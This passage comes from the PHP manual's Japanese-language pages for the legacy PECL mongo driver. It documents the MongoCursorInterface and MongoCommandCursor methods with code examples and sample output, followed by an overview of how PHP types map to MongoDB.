abstract public MongoCursorInterface::batchSize ( int $batchSize ) : MongoCursorInterface

A cursor typically fetches a batch of result objects and stores them locally. This method sets the batch size value to configure the amount of documents retrieved from the server in one round trip.

パラメータ

batchSize

The number of results to return per batch.

返り値

Returns this cursor.

User Contributed Notes

There are no user contributed notes for this page.


Checks if there are results that have not yet been sent from the database

  • ≪ MongoCursorInterface::batchSize
  • MongoCursorInterface::getReadPreference ≫
  • PHP Manual
  • MongoCursorInterface
  • Checks if there are results that have not yet been sent from the database

MongoCursorInterface::dead

(PECL mongo >=1.5.0)

MongoCursorInterface::dead — Checks if there are results that have not yet been sent from the database

説明

abstract public MongoCursorInterface::dead ( ) : bool

This method checks whether the cursor has been exhausted and the database has no more results to send to the client. A cursor being "dead" does not necessarily mean that there are no more results available for iteration.

パラメータ

この関数にはパラメータはありません。

返り値

Returns true if there are more results that have not yet been sent to the client, and false otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Get the read preference for this query

  • ≪ MongoCursorInterface::dead
  • MongoCursorInterface::info ≫
  • PHP Manual
  • MongoCursorInterface
  • Get the read preference for this query

MongoCursorInterface::getReadPreference

(PECL mongo >=1.6.0)

MongoCursorInterface::getReadPreference — Get the read preference for this query

説明

abstract public MongoCursorInterface::getReadPreference ( ) : array

パラメータ

この関数にはパラメータはありません。

返り値

この関数は、優先読み込みに関する配列を返します。配列に含まれる内容は、type (優先読み込みモードを表す文字列。MongoClient の定数に対応)、そして tagsets (すべてのタグセット条件のリスト) です。タグセットを指定しなかった場合は、tagsets は存在しません。

参考

  • The read preferences documentation.
  • MongoCursorInterface::setReadPreference() - Set the read preference for this query

User Contributed Notes

There are no user contributed notes for this page.


Gets information about the cursor's creation and iteration

  • ≪ MongoCursorInterface::getReadPreference
  • MongoCursorInterface::setReadPreference ≫
  • PHP Manual
  • MongoCursorInterface
  • Gets information about the cursor's creation and iteration

MongoCursorInterface::info

(PECL mongo >=1.5.0)

MongoCursorInterface::info — Gets information about the cursor's creation and iteration

説明

abstract public MongoCursorInterface::info ( ) : array

Returns information about the cursor's creation and iteration. This can be called before or after the cursor has started iterating.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the namespace, batch size, limit, skip, flags, query, and projected fields for this cursor. If the cursor has started iterating, additional information about iteration and the connection will be included.

User Contributed Notes

There are no user contributed notes for this page.


Set the read preference for this query

  • ≪ MongoCursorInterface::info
  • MongoCursorInterface::timeout ≫
  • PHP Manual
  • MongoCursorInterface
  • Set the read preference for this query

MongoCursorInterface::setReadPreference

(PECL mongo >=1.6.0)

MongoCursorInterface::setReadPreference — Set the read preference for this query

説明

abstract public MongoCursorInterface::setReadPreference ( string $read_preference , array $tags = ? ) : MongoCursorInterface

パラメータ

read_preference

読み込みの優先モード。MongoClient::RP_PRIMARY、MongoClient::RP_PRIMARY_PREFERRED、MongoClient::RP_SECONDARY、MongoClient::RP_SECONDARY_PREFERRED あるいは MongoClient::RP_NEAREST のいずれか。

tags

ゼロ個以上のタグセットの配列。各タグセット自体も配列で、レプリカセットのメンバーのタグにマッチさせる条件として使います。

返り値

Returns this cursor.

エラー / 例外

パラメータが無効な場合、あるいは優先読み込みモードが MongoClient::RP_PRIMARY のときにタグセットを指定した場合に E_WARNING が発生します。

参考

  • The read preferences documentation.
  • MongoCursorInterface::getReadPreference() - Get the read preference for this query

User Contributed Notes

There are no user contributed notes for this page.


Sets a client-side timeout for this query

  • ≪ MongoCursorInterface::setReadPreference
  • MongoCommandCursor ≫
  • PHP Manual
  • MongoCursorInterface
  • Sets a client-side timeout for this query

MongoCursorInterface::timeout

(PECL mongo >=1.5.0)

MongoCursorInterface::timeout — Sets a client-side timeout for this query

説明

abstract public MongoCursorInterface::timeout ( int $ms ) : MongoCursorInterface

A timeout can be set at any time and will affect subsequent data retrieval associated with this cursor, including fetching more results from the database.

パラメータ

ms

The number of milliseconds for the cursor to wait for a response. Use -1 to wait forever. By default, the cursor will wait 30000 milliseconds (30 seconds).

返り値

Returns this cursor.

エラー / 例外

Causes methods that fetch results to throw a MongoCursorTimeoutException if the data fetch takes longer than the specified number of milliseconds.

参考

  • The socketTimeoutMS option for MongoClient::__construct()

User Contributed Notes

There are no user contributed notes for this page.


The MongoCommandCursor class

(PECL mongo >=1.5.0)

はじめに

A command cursor is similar to a MongoCursor except that you use it for iterating through the results of a database command instead of a normal query. Command cursors are useful for iterating over large result sets that might exceed the document size limit (currently 16MB) of a single MongoDB::command() response.

While you can create command cursors using MongoCommandCursor::__construct() or the MongoCommandCursor::createFromDocument() factory method, you will generally want to use command-specific helpers such as MongoCollection::aggregateCursor().

Note that the cursor does not "contain" the database command's results; it just manages iteration through them. Thus, if you print a cursor (f.e. with var_dump() or print_r()), you will see the cursor object but not the result documents.

Cursor Stages

A MongoCommandCursor has two "life stages": pre- and post- command. When a cursor is created, it has not yet contacted the database, so it is in its pre-command state. When the client first attempts to get a result (by calling MongoCommandCursor::rewind(), directly or indirectly), the cursor moves into the post-command state.

The command cursor's batch size and socket timeout may be configured in both the pre- and post- command states.

例1 Adding options to MongoCommandCursor

<?php

$cursor = new MongoCommandCursor(...);

$cursor = $cursor->batchSize( 4 );

foreach ($cursor as $result) {
    var_dump($result);
}
?>

クラス概要

MongoCommandCursor implements MongoCursorInterface , Iterator {
/* メソッド */
public batchSize ( int $batchSize ) : MongoCommandCursor
public __construct ( MongoClient $connection , string $ns , array $command = array() )
public static createFromDocument ( MongoClient $connection , string $hash , array $document ) : MongoCommandCursor
public current ( ) : array
public dead ( ) : bool
public getReadPreference ( ) : array
public info ( ) : array
public key ( ) : int
public next ( ) : void
public rewind ( ) : array
public setReadPreference ( string $read_preference , array $tags = ? ) : MongoCommandCursor
public timeout ( int $ms ) : MongoCommandCursor
public valid ( ) : bool
}

参考

  • MongoDB::command()
  • MongoCollection::aggregateCursor()

目次

  • MongoCommandCursor::batchSize — Limits the number of elements returned in one batch
  • MongoCommandCursor::__construct — Create a new command cursor
  • MongoCommandCursor::createFromDocument — Create a new command cursor from an existing command response document
  • MongoCommandCursor::current — Returns the current element
  • MongoCommandCursor::dead — Checks if there are results that have not yet been sent from the database
  • MongoCommandCursor::getReadPreference — Get the read preference for this command
  • MongoCommandCursor::info — Gets information about the cursor's creation and iteration
  • MongoCommandCursor::key — Returns the current result's index within the result set
  • MongoCommandCursor::next — Advances the cursor to the next result
  • MongoCommandCursor::rewind — Executes the command and resets the cursor to the start of the result set
  • MongoCommandCursor::setReadPreference — Set the read preference for this command
  • MongoCommandCursor::timeout — Sets a client-side timeout for this command
  • MongoCommandCursor::valid — Checks if the cursor is reading a valid result

User Contributed Notes

There are no user contributed notes for this page.


Limits the number of elements returned in one batch

  • ≪ MongoCommandCursor
  • MongoCommandCursor::__construct ≫
  • PHP Manual
  • MongoCommandCursor
  • Limits the number of elements returned in one batch

MongoCommandCursor::batchSize

(PECL mongo >=1.5.0)

MongoCommandCursor::batchSize — Limits the number of elements returned in one batch

説明

public MongoCommandCursor::batchSize ( int $batchSize ) : MongoCommandCursor

A cursor typically fetches a batch of result objects and store them locally. This method sets the batchSize value to configure the amount of documents retrieved from the server in one round trip.

パラメータ

batchSize

The number of results to return per batch. Each batch requires a round-trip to the server.

This cannot override MongoDB's limit on the amount of data it will return to the client (i.e., if you set batch size to 1,000,000,000, MongoDB will still only return 4-16MB of results per batch).

返り値

Returns this cursor.

例

例1 MongoCommandCursor::batchSize()

<?php
$commandCursor->batchSize(20);
?>

参考

  • MongoCursorInterface::batchSize() - Limits the number of elements returned in one batch

User Contributed Notes

There are no user contributed notes for this page.


Create a new command cursor

  • ≪ MongoCommandCursor::batchSize
  • MongoCommandCursor::createFromDocument ≫
  • PHP Manual
  • MongoCommandCursor
  • Create a new command cursor

MongoCommandCursor::__construct

(PECL mongo >=1.5.0)

MongoCommandCursor::__construct — Create a new command cursor

説明

public MongoCommandCursor::__construct ( MongoClient $connection , string $ns , array $command = array() )

Generally, you should not have to construct a MongoCommandCursor manually, as there are helper functions such as MongoCollection::aggregateCursor() and MongoCollection::parallelCollectionScan(); however, if the server introduces new commands that can return cursors, this constructor will be useful in the absence of specific helper methods. You may also consider using MongoCommandCursor::createFromDocument().

パラメータ

connection

Database connection.

ns

Full name of the database and collection (e.g. "test.foo")

command

Database command.

返り値

Returns the new cursor.

例

例1 MongoCommandCursor example

<?php
$m = new MongoClient;

// Define the aggregation pipeline
$pipeline = [
    [ '$group' => [
        '_id' => '$country_code',
        'timezones' => [ '$addToSet' => '$timezone' ]
    ] ],
    [ '$sort' => [ '_id' => 1 ] ],
];

// Construct a MongoCommandCursor object
$cursor = new MongoCommandCursor(
    $m, // MongoClient object
    'demo.cities', // namespace
    [
        'aggregate' => 'cities',
        'pipeline' => $pipeline,
        'cursor' => [ 'batchSize' => 0 ],
    ]
);

foreach($cursor as $result) {
   ...
}
?>

参考

  • MongoCommandCursor::createFromDocument() - Create a new command cursor from an existing command response document
  • MongoCollection::aggregateCursor() - Execute an aggregation pipeline command and retrieve results through a cursor
  • MongoCollection::parallelCollectionScan() - Returns an array of cursors to iterator over a full collection in parallel

User Contributed Notes

There are no user contributed notes for this page.


Create a new command cursor from an existing command response document

  • ≪ MongoCommandCursor::__construct
  • MongoCommandCursor::current ≫
  • PHP Manual
  • MongoCommandCursor
  • Create a new command cursor from an existing command response document

MongoCommandCursor::createFromDocument

(PECL mongo >=1.5.0)

MongoCommandCursor::createFromDocument — Create a new command cursor from an existing command response document

説明

public static MongoCommandCursor::createFromDocument ( MongoClient $connection , string $hash , array $document ) : MongoCommandCursor

Use this method if you have a raw command result with cursor information in it. Note that cursors created with this method cannot be iterated multiple times, as they will lack the original command necessary for re-execution.

パラメータ

connection

Database connection.

hash

The connection hash, as obtained through the third by-reference argument to MongoDB::command().

document

Document with cursor information in it. This document needs to contain the id, ns and firstBatch fields. Such a document is obtained by calling the MongoDB::command() with appropriate arguments to return a cursor, and not just an inline result. See the example below.

返り値

Returns the new cursor.

例

例1 MongoCommandCursor::createFromDocument()

<?php
$m = new MongoClient;
$d = $m->demo;

// Define the aggregation pipeline
$pipeline = [
    [ '$group' => [
        '_id' => '$country_code',
        'timezones' => [ '$addToSet' => '$timezone' ]
    ] ],
    [ '$sort' => [ '_id' => 1 ] ],
];

// Execute the command. The "cursor" option instructs the server to return
// cursor information in the response instead of inline results.
$r = $d->command(
    [
        'aggregate' => 'cities',
        'pipeline' => $pipeline,
        'cursor' => [ 'batchSize' => 1 ],
    ],
    null,
    $hash
);

// Show result and hash
var_dump( $r, $hash );

// Construct the command cursor
$cursor = MongoCommandCursor::createFromDocument( $m, $hash, $r );
?>

上の例の出力は、 たとえば以下のようになります。

array(2) {
  ["cursor"]=>
  array(3) {
    ["id"]=>
    object(MongoInt64)#5 (1) {
      ["value"]=>
      string(12) "392143983421"
    }
    ["ns"]=>
    string(11) "demo.cities"
    ["firstBatch"]=>
    array(1) {
      [0]=>
      array(2) {
        ["_id"]=>
        string(2) "AD"
        ["timezones"]=>
        array(1) {
          [0]=>
          string(14) "Europe/Andorra"
        }
      }
    }
  }
  ["ok"]=>
  float(1)
}
string(25) "localhost:27017;-;.;17617"

As you can see, the returned cursor information has the id, ns and firstBatch fields.

参考

  • MongoCommandCursor::__construct() - Create a new command cursor

User Contributed Notes

There are no user contributed notes for this page.


Returns the current element

  • ≪ MongoCommandCursor::createFromDocument
  • MongoCommandCursor::dead ≫
  • PHP Manual
  • MongoCommandCursor
  • Returns the current element

MongoCommandCursor::current

(PECL mongo >=1.5.0)

MongoCommandCursor::current — Returns the current element

説明

public MongoCommandCursor::current ( ) : array

This returns null until MongoCommandCursor::rewind() is called.

パラメータ

この関数にはパラメータはありません。

返り値

The current result document as an associative array. null will be returned if there is no result.

参考

  • Iterator::current() - 現在の要素を返す

User Contributed Notes

There are no user contributed notes for this page.


Checks if there are results that have not yet been sent from the database

  • ≪ MongoCommandCursor::current
  • MongoCommandCursor::getReadPreference ≫
  • PHP Manual
  • MongoCommandCursor
  • Checks if there are results that have not yet been sent from the database

MongoCommandCursor::dead

(PECL mongo >=1.5.0)

MongoCommandCursor::dead — Checks if there are results that have not yet been sent from the database

説明

public MongoCommandCursor::dead ( ) : bool

This method checks whether the MongoCommandCursor cursor has been exhausted and the database has no more results to send to the client. A cursor being "dead" does not necessarily mean that there are no more results available for iteration.

パラメータ

この関数にはパラメータはありません。

返り値

Returns true if there are more results that have not yet been sent to the client, and false otherwise.

参考

  • MongoCursorInterface::dead() - Checks if there are results that have not yet been sent from the database

User Contributed Notes

There are no user contributed notes for this page.


Get the read preference for this command

  • ≪ MongoCommandCursor::dead
  • MongoCommandCursor::info ≫
  • PHP Manual
  • MongoCommandCursor
  • Get the read preference for this command

MongoCommandCursor::getReadPreference

(PECL mongo >=1.6.0)

MongoCommandCursor::getReadPreference — Get the read preference for this command

説明

public MongoCommandCursor::getReadPreference ( ) : array

パラメータ

この関数にはパラメータはありません。

返り値

この関数は、優先読み込みに関する配列を返します。配列に含まれる内容は、type (優先読み込みモードを表す文字列。MongoClient の定数に対応)、そして tagsets (すべてのタグセット条件のリスト) です。タグセットを指定しなかった場合は、tagsets は存在しません。

例

例1 MongoCommandCursor::getReadPreference() return value example

<?php

$m = new MongoClient('mongodb://rs1.example.com:27017', array('replicaSet' => 'myReplSetName'));
$collection = $m->selectCollection('test', 'people');

// If a MongoCommandCursor is constructed directly, it will inherit the read
// preference of the MongoClient instance passed to its constructor; however,
// MongoCollection::aggregateCursor() will have the MongoCommandCursor inherit
// the collection's read preference.
$collection->setReadPreference(MongoClient::RP_SECONDARY);

$cursor = $collection->aggregateCursor( [
    [ '$group' => [ '_id' => '$name', 'points' => [ '$sum' => '$points' ] ] ],
    [ '$sort' => [ 'points' => -1 ] ],
] );

var_dump($cursor->getReadPreference());

?>

上の例の出力は以下となります。

array(1) {
  ["type"]=>
  string(9) "secondary"
}

参考

  • The read preferences documentation.
  • MongoCommandCursor::setReadPreference() - Set the read preference for this command
  • MongoCursorInterface::getReadPreference() - Get the read preference for this query

User Contributed Notes

There are no user contributed notes for this page.


Gets information about the cursor's creation and iteration

  • ≪ MongoCommandCursor::getReadPreference
  • MongoCommandCursor::key ≫
  • PHP Manual
  • MongoCommandCursor
  • Gets information about the cursor's creation and iteration

MongoCommandCursor::info

(PECL mongo >=1.5.0)

MongoCommandCursor::info — Gets information about the cursor's creation and iteration

説明

public MongoCommandCursor::info ( ) : array

This can be called before or after the cursor has started iterating.

パラメータ

この関数にはパラメータはありません。

返り値

Returns the namespace, batch size, limit, skip, flags, query, and projected fields for this cursor. If the cursor has started iterating, additional information about iteration and the connection will be included.

例

例1 MongoCommandCursor::info() example

<?php
$m = new MongoClient();

$cursor = new MongoCommandCursor(
    $m, // MongoClient object
    'demo.cities', // namespace
    [
        'aggregate' => 'cities',
        'pipeline' => [ [ '$match' => [ '_id' => [ '$exists' => true ] ] ] ],
        'cursor' => [ 'batchSize' => 1 ],
    ]
);

echo "Before iteration started:\n";
var_dump($cursor->info());

echo "\nAfter iteration started:\n";
$cursor->rewind();
var_dump($cursor->info());

?>

上の例の出力は、 たとえば以下のようになります。

Before iteration started:
array(8) {
  ["ns"]=>
  string(11) "demo.cities"
  ["limit"]=>
  int(0)
  ["batchSize"]=>
  int(0)
  ["skip"]=>
  int(0)
  ["flags"]=>
  int(0)
  ["query"]=>
  array(3) {
    ["aggregate"]=>
    string(6) "cities"
    ["pipeline"]=>
    array(1) {
      [0]=>
      array(1) {
        ["$match"]=>
        array(1) {
          ["_id"]=>
          array(1) {
            ["$exists"]=>
            bool(true)
          }
        }
      }
    }
    ["cursor"]=>
    array(1) {
      ["batchSize"]=>
      int(1)
    }
  }
  ["fields"]=>
  NULL
  ["started_iterating"]=>
  bool(false)
}

After iteration started:
array(17) {
  ["ns"]=>
  string(11) "demo.cities"
  ["limit"]=>
  int(0)
  ["batchSize"]=>
  int(0)
  ["skip"]=>
  int(0)
  ["flags"]=>
  int(0)
  ["query"]=>
  array(3) {
    ["aggregate"]=>
    string(6) "cities"
    ["pipeline"]=>
    array(1) {
      [0]=>
      array(1) {
        ["$match"]=>
        array(1) {
          ["_id"]=>
          array(1) {
            ["$exists"]=>
            bool(true)
          }
        }
      }
    }
    ["cursor"]=>
    array(1) {
      ["batchSize"]=>
      int(1)
    }
  }
  ["fields"]=>
  NULL
  ["started_iterating"]=>
  bool(true)
  ["id"]=>
  int(185840310129)
  ["at"]=>
  int(0)
  ["numReturned"]=>
  int(0)
  ["server"]=>
  string(25) "localhost:27017;-;.;23991"
  ["host"]=>
  string(9) "localhost"
  ["port"]=>
  int(27017)
  ["connection_type_desc"]=>
  string(10) "STANDALONE"
  ["firstBatchAt"]=>
  int(0)
  ["firstBatchNumReturned"]=>
  int(1)
}

参考

  • MongoCursorInterface::info() - Gets information about the cursor's creation and iteration

User Contributed Notes

There are no user contributed notes for this page.


Returns the current result's index within the result set

  • ≪ MongoCommandCursor::info
  • MongoCommandCursor::next ≫
  • PHP Manual
  • MongoCommandCursor
  • Returns the current result's index within the result set

MongoCommandCursor::key

(PECL mongo >=1.5.0)

MongoCommandCursor::key — Returns the current result's index within the result set

説明

public MongoCommandCursor::key ( ) : int

パラメータ

この関数にはパラメータはありません。

返り値

The current result's index within the result set.

参考

  • Iterator::key() - 現在の要素のキーを返す

User Contributed Notes

There are no user contributed notes for this page.


Advances the cursor to the next result

  • ≪ MongoCommandCursor::key
  • MongoCommandCursor::rewind ≫
  • PHP Manual
  • MongoCommandCursor
  • Advances the cursor to the next result

MongoCommandCursor::next

(PECL mongo >=1.5.0)

MongoCommandCursor::next — Advances the cursor to the next result

説明

public MongoCommandCursor::next ( ) : void

パラメータ

この関数にはパラメータはありません。

返り値

null.

エラー / 例外

Throws MongoConnectionException if it cannot reach the database and MongoCursorTimeoutException if the timeout is exceeded.

参考

  • Iterator::next() - 次の要素に進む

User Contributed Notes

There are no user contributed notes for this page.


Executes the command and resets the cursor to the start of the result set

  • ≪ MongoCommandCursor::next
  • MongoCommandCursor::setReadPreference ≫
  • PHP Manual
  • MongoCommandCursor
  • Executes the command and resets the cursor to the start of the result set

MongoCommandCursor::rewind

(PECL mongo >=1.5.0)

MongoCommandCursor::rewind — Executes the command and resets the cursor to the start of the result set

説明

public MongoCommandCursor::rewind ( ) : array

If the cursor has already started iteration, the command will be re-executed.

パラメータ

この関数にはパラメータはありません。

返り値

The raw server result document.

エラー / 例外

Throws MongoConnectionException if it cannot reach the database and MongoCursorTimeoutException if the timeout is exceeded.

Throws MongoCursorException if the cursor was created with MongoCommandCursor::createFromDocument() and has already started iteration. Such cursors cannot be iterated multiple times, as they lack the original command necessary for re-execution.

例

例1 MongoCommandCursor::rewind()

<?php
$rawResult = $commandCursor->rewind();

// Command cursor is now reset to the start of the result set

var_dump($rawResult);
?>

上の例の出力は、 たとえば以下のようになります。

array(2) {
  ["cursor"]=>
  array(3) {
    ["id"]=>
    object(MongoInt64)#5 (1) {
      ["value"]=>
      string(12) "310050110216"
    }
    ["ns"]=>
    string(9) "demo.test"
    ["firstBatch"]=>
    array(1) {
      [0]=>
      array(2) {
        ["_id"]=>
        object(MongoId)#6 (1) {
          ["$id"]=>
          string(24) "52f5691544670a8077b0dc51"
        }
        ["value"]=>
        string(2) "42"
      }
    }
  }
  ["ok"]=>
  float(1)
}

参考

  • Iterator::rewind() - イテレータの最初の要素に巻き戻す

User Contributed Notes

There are no user contributed notes for this page.


Set the read preference for this command

  • ≪ MongoCommandCursor::rewind
  • MongoCommandCursor::timeout ≫
  • PHP Manual
  • MongoCommandCursor
  • Set the read preference for this command

MongoCommandCursor::setReadPreference

(PECL mongo >=1.6.0)

MongoCommandCursor::setReadPreference — Set the read preference for this command

説明

public MongoCommandCursor::setReadPreference ( string $read_preference , array $tags = ? ) : MongoCommandCursor

パラメータ

read_preference

読み込みの優先モード。MongoClient::RP_PRIMARY、MongoClient::RP_PRIMARY_PREFERRED、MongoClient::RP_SECONDARY、MongoClient::RP_SECONDARY_PREFERRED あるいは MongoClient::RP_NEAREST のいずれか。

tags

ゼロ個以上のタグセットの配列。各タグセット自体も配列で、レプリカセットのメンバーのタグにマッチさせる条件として使います。

返り値

Returns this cursor.

エラー / 例外

パラメータが無効な場合、あるいは優先読み込みモードが MongoClient::RP_PRIMARY のときにタグセットを指定した場合に E_WARNING が発生します。

例

例1 MongoCommandCursor::setReadPreference() tag set array syntax example

<?php

$m = new MongoClient('mongodb://rs1.example.com:27017', array('replicaSet' => 'myReplSetName'));
$collection = $m->selectCollection('test', 'people');

$cursor = $collection->aggregateCursor( [
    [ '$group' => [ '_id' => '$name', 'points' => [ '$sum' => '$points' ] ] ],
    [ '$sort' => [ 'points' => -1 ] ],
] );

// Prefer the nearest server in the "east" data center also used for reporting,
// but fall back to a server in the "west" data center
$cursor->setReadPreference(MongoClient::RP_NEAREST, [
    [ 'dc' => 'east', 'use' => 'reporting' ],
    [ 'dc' => 'west' ],
] );

foreach ($cursor as $person) {
    // ...
}

// If the read preference is changed, it will be used the next time the cursor
// is rewound and the command is re-executed.
$cursor->setReadPreference(MongoClient::RP_PRIMARY);

foreach ($cursor as $person) {
    // ...
}

?>

参考

  • The read preferences documentation.
  • MongoCommandCursor::getReadPreference() - Get the read preference for this command
  • MongoCursorInterface::setReadPreference() - Set the read preference for this query

User Contributed Notes

There are no user contributed notes for this page.


Sets a client-side timeout for this command

  • ≪ MongoCommandCursor::setReadPreference
  • MongoCommandCursor::valid ≫
  • PHP Manual
  • MongoCommandCursor
  • Sets a client-side timeout for this command

MongoCommandCursor::timeout

(PECL mongo >=1.6.0)

MongoCommandCursor::timeout — Sets a client-side timeout for this command

説明

public MongoCommandCursor::timeout ( int $ms ) : MongoCommandCursor

A timeout can be set at any time and will affect subsequent data retrieval associated with this cursor, including fetching more results from the database.

パラメータ

ms

The number of milliseconds for the cursor to wait for a response. Use -1 to wait forever. By default, the cursor will wait 30000 milliseconds (30 seconds).

返り値

This cursor.

エラー / 例外

Causes methods that fetch results to throw a MongoCursorTimeoutException if the data fetch takes longer than the specified number of milliseconds.

例

例1 MongoCommandCursor::timeout() example

In the following example, the driver will wait for 60 seconds for the first response from the aggregate command. It will also wait for 60 seconds each time the server needs to be polled for more information.

<?php

$m = new MongoClient;
$col = $m->database->collection;

$pipeline = [ ... ];

$cursor = $col->aggregateCursor( $pipeline );
$cursor->timeout( 60000 ); // for 60 seconds

foreach ( $cursor as $result ) {
   ...
}

?>

注意

警告

This does not cause the MongoDB server to cancel long-running operations; it only instructs the driver to stop waiting for a response and throw a MongoCursorTimeoutException after a set time. If you need to specify a server-side timeout for a command, considering passing the maxTimeMS option to MongoCollection::aggregateCursor().

参考

  • MongoCollection::aggregateCursor() - Execute an aggregation pipeline command and retrieve results through a cursor
  • MongoCursorInterface::timeout() - Sets a client-side timeout for this query
  • The socketTimeoutMS option for MongoClient::__construct()

User Contributed Notes

There are no user contributed notes for this page.


Checks if the cursor is reading a valid result

  • ≪ MongoCommandCursor::timeout
  • 型 ≫
  • PHP Manual
  • MongoCommandCursor
  • Checks if the cursor is reading a valid result

MongoCommandCursor::valid

(PECL mongo >=1.5.0)

MongoCommandCursor::valid — Checks if the cursor is reading a valid result

説明

public MongoCommandCursor::valid ( ) : bool

パラメータ

この関数にはパラメータはありません。

返り値

true if the current result is not null, and false otherwise.

参考

  • Iterator::valid() - 現在位置が有効かどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


型

目次

  • MongoId
  • MongoCode
  • MongoDate
  • MongoRegex
  • MongoBinData
  • MongoInt32
  • MongoInt64
  • MongoDBRef
  • MongoMinKey
  • MongoMaxKey
  • MongoTimestamp

MongoDB では、PHP のすべての基本データ型や複合型 (配列、連想配列 そしてオブジェクト) を保存したり問い合わせたりすることができます。 それ以外にも、MongoDB PHP ドライバには (正規表現や 日付、その他さまざまな用途に特化した) クラスが用意されています。

Boolean および null

true、false および null はそのままの型で使えます。

数値

MongoDB では数値と文字列は区別されます。"123" は 123 とマッチしません。 したがって、数値のソートやマッチングを正しく行うには、数値として保存しなければなりません。

<?php

$doc = array("a" => 123, "b" => "123");
$collection->insert($doc);

$doc->find(array("a" => 123));   // マッチします
$doc->find(array("a" => "123")); // マッチしません
$doc->find(array("a" => 123.0)); // マッチします
$doc->find(array("b" => 123));   // マッチしません
$doc->find(array("b" => "123")); // マッチします

?>

上に示したように、浮動小数点数と整数の比較やマッチングは期待通りにできます。

大きな数値

デフォルトでは、32 ビットシステム上では数値をデータベースに送信するときには 32 ビット整数型となります。 64 ビットシステム上では数値をデータベースに送信するときには 64 ビット整数型となります。 過去との互換性を保つため、64 ビット整数型をデシリアライズするとすべてのシステムで浮動小数点数となります。 浮動小数点数には誤差があります。正確な値が必要なら php.ini の設定をしましょう。

32 ビットシステム上では、mongo.long_as_object が設定されていると 64 ビット整数値が MongoInt64 オブジェクトとして返されます。 整数値は、value フィールドに完全な精度で (文字列として) 格納されます。 MongoInt64 を使えば、64 ビット整数値を 32 ビットマシン上に保存することもできます。

64 ビットシステム上では、mongo.long_as_object あるいは mongo.native_long を設定することができます。 mongo.native_long は、64 ビット整数値を "通常の" PHP の整数型で返します。MongoInt32 を使えば、 32 ビット整数値を 64 ビットマシン上に保存することができます。

mongo.long_as_object や mongo.native_long の挙動は、使おうとする内容にあわせて設定するべきです。 たとえデフォルトの挙動であっても、明示的に設定しておくことが大切です (将来もしデフォルトの設定が変わっても、その影響を受けずにすみます)。

php.ini のオプション、 MongoInt32、そして MongoInt64 も参照ください。

文字列

文字列は UTF-8 でなければなりません。非 UTF-8 文字列は、UTF-8 に変換してからデータベースに送信するか、あるいはバイナリデータとして保存しなければなりません。

正規表現を使った文字列のマッチングができます。正規表現には MongoRegex クラスを使います。

バイナリデータ

非 UTF-8 文字列や画像その他のバイナリデータをデータベースに送信するときには MongoBinData 型を使わなければなりません。

日付

日付を作成するには MongoDate クラスを使います。 ここにはエポックからの経過ミリ秒数が格納されます。

MongoTimestamp は日付やタイムスタンプを保存するためのものではなく、 MongoDB の内部で使うものです。レプリカやシャーディングの内部構造を扱うツールを書いているのでない限り、 MongoTimestamp ではなく MongoDate を使うべきです。

一意な Id

ドライバは、ユーザーが明示的に指定しない限り、自動的に _id フィールドを作成してからドキュメントを追加します。このフィールドは MongoId (いわゆる "オブジェクト ID") のインスタンスです。

ID は 12 バイトで、このような構造です。

  • タイムスタンプ 4 バイト

    別の時刻に追加されたレコードが同じ id になることはありません。

  • マシン id 3 バイト

    別のマシンから追加されたレコードが同じ id になることはありません。

  • スレッド id 2 バイト

    同じマシン上の別のスレッドから追加されたレコードが同じ id になることはありません。

  • 増分 3 バイト

    id が新たに作られるたびにグローバルなカウンタがひとつ増加します。 次の id を作るときに、この値を使います。

従って、同一マシン上の単一のプロセスで 1 秒間に 256^3 件 (1600万件以上) のレコードを追加 (増分領域を使い切る) しようとしない限り、 同じ id になることはありません。

JavaScript

MongoDB には JavaScript エンジンが組み込まれているので、JavaScript をクエリに ($where 句で) 組み込んで直接データベースに送信して実行し、 集約することができます。

セキュリティ上、MongoCode の scope フィールドを使って PHP の変数を JavaScript に渡します。外部の値を使わないコードの場合は MongoCode を使っても単なる文字列を使ってもかまいません。 JavaScript をデータベースに送信することに関する詳細な情報は セキュリティの節 を参照ください。

配列およびオブジェクト

配列やオブジェクトもデータベースに格納することができます。 数値添字の配列は配列として、 それ以外のものはすべてオブジェクトとして格納されます。

<?php

// $scores は配列として格納されます
$scores = array(98, 100, 73, 85);
$collection->insert(array("scores" => $scores));

// $scores はオブジェクトとして格納されます
$scores = array("quiz1" => 98, "midterm" => 100, "quiz2" => 73, "final" => 85);
$collection->insert(array("scores" => $scores));

?>

データベースのシェルからこれらのオブジェクトを問い合わせると、このようになります。

> db.students.find()
{ "_id" : ObjectId("4b06beada9ad6390dab17c43"), "scores" : [ 98, 100, 73, 85 ] }
{ "_id" : ObjectId("4b06bebea9ad6390dab17c44"), "scores" : { "quiz1" : 98, "midterm" : 100, "quiz2" : 73, "final" : 85 } }

任意の PHP オブジェクトもデータベースに格納することができます (返されるときは連想配列となります)。 フィールドは キー/値 のペアに使います。 たとえば、blogへの投稿を表す次のようなオブジェクトを考えましょう。

<?php

  // blog投稿クラス
  class Post {

  var $author;
  var $content;
  var $comments = array();
  var $date;

  public function __construct($author, $content) {
  $this->author = $author;
$this->content = $content;
    $this->date = new MongoDate();
  }

  public function setTitle($title) {
    $this->title = $title;
  }
}

// 単純なblog投稿を作り、データベースに追加します
$post1 = new Post("Adam", "This is a blog post");

$blog->insert($post1);

// "author" フィールドの型には何も制約がないので、
// オブジェクトをネストさせることができます
$author = array("name" => "Fred", "karma" => 42);
$post2 = new Post($author, "This is another blog post.");

// タイトルを設定して、別のフィールドを追加することができます
$post2->setTitle("Second Post");

$blog->insert($post2);

?>

データベースのシェルからは、次のように見えます。

> db.blog.find()
{ "_id" : ObjectId("4b06c263edb87a281e09dad8"), "author" : "Adam", "content" : "This is a blog post", "comments" : [ ], "date" : "Fri Nov 20 2009 11:22:59 GMT-0500 (EST)" }
{ "_id" : ObjectId("4b06c282edb87a281e09dad9"), "author" : { "name" : "Fred", "karma" : 42 }, "content" : "This is a blog post", "comments" : [ ], "date" : "Fri Nov 20 2009 11:23:30 GMT-0500 (EST)", "title" : "Second Post" }

このドライバは、配列やオブジェクトの循環参照を検出することができません。 たとえば、これは致命的なエラーとなります。

<?php

$collection->insert($GLOBALS);

?>
Fatal error: Nesting level too deep - recursive dependency?
再帰構造になる可能性のあるドキュメントを追加しなければならない場合は、 ドライバに渡す前に自分でチェックしておかなければなりません。

User Contributed Notes

Jay Paroline 25-Aug-2010 02:33
With pecl version 1.0.9 of this driver, you can force long support by adding this to your php.ini:

